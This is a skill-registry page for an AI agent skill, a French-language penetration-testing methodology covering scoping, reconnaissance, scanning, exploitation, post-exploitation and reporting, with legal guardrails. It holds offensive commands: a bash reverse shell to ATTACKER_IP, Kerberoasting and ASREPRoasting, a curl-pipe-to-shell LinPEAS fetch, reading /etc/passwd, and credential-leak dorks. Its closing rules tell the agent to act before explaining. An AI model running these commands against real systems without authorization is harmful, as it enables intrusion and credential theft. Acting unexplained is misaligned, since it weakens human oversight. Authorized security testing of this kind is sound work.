# Dev Pentest Assistant

> Guide méthodologique pour tests d'intrusion et évaluation de sécurité. À utiliser pour préparer ou conduire un pentest. Se déclenche avec "pentest", "test d'intrusion", "test de pénétration", "hacking éthique", "red team", "bug bounty", "surface d'attaque". Also triggers on "penetration test", "pentest methodology", "authorized security testing".

- Skill: `khalilbenaz/dev-pentest-assistant` (Agent Skill)
- Install (CLI): `npx skillmds@latest add khalilbenaz/dev-pentest-assistant`
- Raw SKILL.md: https://api.skillmd.com/api/skills/khalilbenaz/dev-pentest-assistant/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: khalilbenaz (https://skillmd.com/u/khalilbenaz)
- Updated: 2026-09-21
- Page: https://skillmd.com/skills/khalilbenaz/dev-pentest-assistant

---


# Pentest Assistant

## Étape 0 — Cadrage obligatoire avant tout test

Avant d'écrire la première commande :

| Élément | Questions à trancher |
|---|---|
| Type de test | Blackbox / Greybox / Whitebox ? |
| Périmètre | Domaines, IPs, CIDR inclus **et** exclus (par écrit) |
| Actions interdites | DoS, dump de données prod, création de comptes, pivoting hors scope |
| Plages horaires | Heures autorisées pour les scans intrusifs |
| Contact urgence | Qui appeler si un système tombe ? |
| Autorisation écrite | Letter of Engagement / NDA signé — **sine qua non légalement** |

> Sans document d'autorisation signé = arrêt immédiat. Le hacking sans consentement est un délit pénal dans toutes les juridictions.

---

## Étape 1 — Reconnaissance passive (OSINT, zero interaction)

**Objectif** : cartographier la surface d'attaque sans toucher la cible.

```bash
# Sous-domaines via Certificate Transparency
curl -s "https://crt.sh/?q=%25.example.com&output=json" | jq '.[].name_value' | sort -u

# ASN + blocs IP d'une organisation
amass intel -org "Example Corp" -asn 12345

# Emails + domaines avec theHarvester
theHarvester -d example.com -b google,bing,linkedin,shodan -f harvest_out

# Recherche Shodan (sans scan actif)
shodan search "org:\"Example Corp\" port:22,443,8080" --fields ip_str,port,data
```

Checklist OSINT :
- [ ] DNS passif (dnsdumpster, SecurityTrails, Passive DNS)
- [ ] Certificate Transparency (crt.sh, Censys)
- [ ] GitHub / GitLab public (dorks : `org:example filename:.env`, `password site:github.com example.com`)
- [ ] LinkedIn : stack technique, noms d'outils internes, noms d'employés
- [ ] Have I Been Pwned : credential leaks
- [ ] Wayback Machine : endpoints anciens, paramètres exposés

---

## Étape 2 — Reconnaissance active (interaction directe)

```bash
# Scan complet — ports + services + scripts NSE + OS
nmap -sV -sC -O -T4 -p- 10.0.0.1 -oA nmap_full

# Découverte rapide des hôtes actifs sur un réseau
nmap -sn 10.0.0.0/24 -oG alive_hosts.txt

# Énumération web — répertoires et fichiers
feroxbuster -u https://example.com -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,html,js,json -t 40

# Sous-domaines actifs (brute-force DNS)
ffuf -u https://FUZZ.example.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -mc 200,301,302
```

Fichiers sensibles à chercher systématiquement :
- `.git/config`, `.env`, `config.php.bak`, `backup.zip`, `api_keys.json`
- `/actuator/env`, `/api/swagger.json`, `/.well-known/security.txt`
- Panneau d'admin exposé : `/admin`, `/phpmyadmin`, `/wp-admin`, `/_admin`

---

## Étape 3 — Identification des vulnérabilités

### Scan automatisé

```bash
# Nuclei — templates CVE + misconfigurations + exposures
nuclei -u https://example.com -t cves/ -t misconfigurations/ -t exposures/ -severity medium,high,critical -o nuclei_out.txt

# Nikto — scan web rapide
nikto -h https://example.com -output nikto_out.txt

# WPScan (si WordPress)
wpscan --url https://example.com --enumerate vp,vt,u --api-token $WPSCAN_TOKEN
```

### Analyse manuelle prioritaire

**Web Application** (OWASP Top 10 2021) :
- A01 Broken Access Control → tester IDOR sur IDs, changement de rôle via JWT, accès direct à URL admin
- A02 Cryptographic Failures → HTTPS downgrade, cookies sans Secure/HttpOnly, secrets en clair dans JS
- A03 Injection → SQLi (manual + SQLMap), SSTI, LDAP injection, SSRF
- A07 Auth & Session → force brute, reset token prévisible, session non invalidée après logout

**Infrastructure** :
- Services avec credentials par défaut (Shodan Dork : `default password product:redis`)
- Ports d'admin exposés à internet (RDP 3389, Kibana 5601, Jupyter 8888)
- Certificats expirés ou self-signed sur production

**Active Directory** :
- Kerberoasting : `impacket-GetUserSPNs domain/user:pass@dc -request -outputfile spns.txt`
- ASREPRoasting : `impacket-GetNPUsers domain/ -usersfile users.txt -no-pass -format hashcat`
- BloodHound pour cartographier les chemins vers Domain Admin

---

## Étape 4 — Exploitation contrôlée

**Règle d'or** : documenter AVANT, PENDANT et APRÈS chaque action.

```bash
# Exemple SQLi — extraction de version DB (preuve d'impact minimal)
sqlmap -u "https://example.com/search?q=test" --dbs --batch --level 2 --risk 1

# Reverse shell minimal pour démonstration (si scope autorisé)
# Sur attaquant : nc -lvnp 4444
# Payload bash : bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

# Vérifier les permissions Linux post-accès
id && whoami && sudo -l && cat /etc/passwd | grep -v nologin

# Enumération rapide post-accès Windows
whoami /priv && net localgroup administrators && systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
```

Template de documentation par finding :

```
Finding #N — [Titre court]
Date/heure : 2026-06-24 14:32 UTC
URL/IP ciblée : https://example.com/api/users/42
Payload / commande : GET /api/users/1 (IDOR : ID modifié de 42 → 1)
Réponse obtenue : 200 OK + données PII utilisateur ID 1
Preuve : screenshot_finding_N.png
Sévérité CVSS 3.1 : 8.1 (High) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Impact : accès à toutes les données utilisateurs sans autorisation
```

---

## Étape 5 — Post-exploitation et évaluation d'impact

Ne jamais implémenter réellement la persistence — documenter uniquement la possibilité.

Évaluer :
- Pivoting possible vers d'autres segments réseau (routes, ARP cache, `/proc/net/fib_trie`)
- Données accessibles : PII, données financières, secrets d'API, dumps DB
- Impact RGPD / NIS2 : si données personnelles exfiltrables → obligation de notification sous 72h
- Scénario pire cas : que peut faire un attaquant réel avec cet accès ?

```bash
# LinPEAS — enumération privilege escalation Linux
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh 2>/dev/null | tee linpeas_out.txt

# WinPEAS — Windows
.\winPEAS.exe quiet | Out-File winpeas_out.txt
```

---

## Étape 6 — Rapport de pentest

Structure minimale :

```
1. Executive Summary (1 page, non technique)
   - Niveau de risque global : Critique / Élevé / Moyen / Faible
   - Nb findings par sévérité
   - Top 3 findings avec impact business en 1 phrase chacun

2. Findings (1 section par vulnérabilité)
   - Titre + sévérité CVSS 3.1
   - Description + preuve (screenshot/log)
   - Impact démontré
   - Remédiation concrète avec délai suggéré (Critique < 48h, Élevé < 2 semaines, ...)

3. Matrice de risque
4. Annexes : logs bruts, requêtes HTTP complètes, code PoC
```

Outils de reporting : Dradis, PlexTrac, ou template Markdown/Jinja exporté en PDF.

---

## Garde-fous — Anti-patterns et pièges fréquents

| Piège | Conséquence | Bonne pratique |
|---|---|---|
| Scanner hors scope (IP voisine) | Délit pénal + rupture de contrat | Toujours valider le CIDR exact avant scan |
| Lancer un DoS "pour tester" | Indisponibilité prod, pénalités | Explicitement interdit sauf accord écrit spécifique |
| Implémenter la persistence sur prod | Incident de sécurité réel | Documenter la possibilité, ne pas exécuter |
| Oublier de nettoyer les artefacts | Web shell actif = incident ouvert | Checklist de nettoyage post-test obligatoire |
| Stocker les credentials trouvés en clair | Fuite potentielle | Vault chiffré (KeePass, Bitwarden) + destruction après rapport |
| Travailler sans VPN dédié | Attribution de l'IP personnelle | Toujours passer par un pivot/VPN propre au pentest |
| Rapport sans remédiation actionnable | Client ne sait pas quoi faire | Chaque finding = correctif concret + délai suggéré |

---

## Référentiel et cadre légal (2026)

- **Méthodologie** : PTES (Penetration Testing Execution Standard), OWASP Testing Guide v4.2, NIST SP 800-115
- **Classification** : CVSS 3.1 pour la sévérité, OWASP Risk Rating pour l'impact business
- **Légal FR/EU** : art. 323-1 Code pénal (accès frauduleux), NIS2 (directive 2022/2555), RGPD art. 32-33
- **Bug bounty** : lire les règles HackerOne / Bugcrowd / Intigriti avant tout test ; safe harbor ≠ carte blanche
- **Outils recommandés 2026** : Nuclei v3+, Caido (alternative Burp), Sliver C2 (red team), Semgrep (SAST), Prowler v4 (cloud)


## Communication Rules — MANDATORY

- Ultra-concise. No filler, no preamble, no pleasantries.
- Never say "happy to help", "sure!", "great question", "let me", or similar.
- Tool first, talk second. Act before explaining.
- Result first. Lead with outcome, not process.
- Stop when done. No summary, no recap, no trailing commentary.
- No politeness wrappers. Direct and blunt.
- Minimum words. If one word works, do not use ten.
- No unsolicited explanations.
- No emoji unless asked.

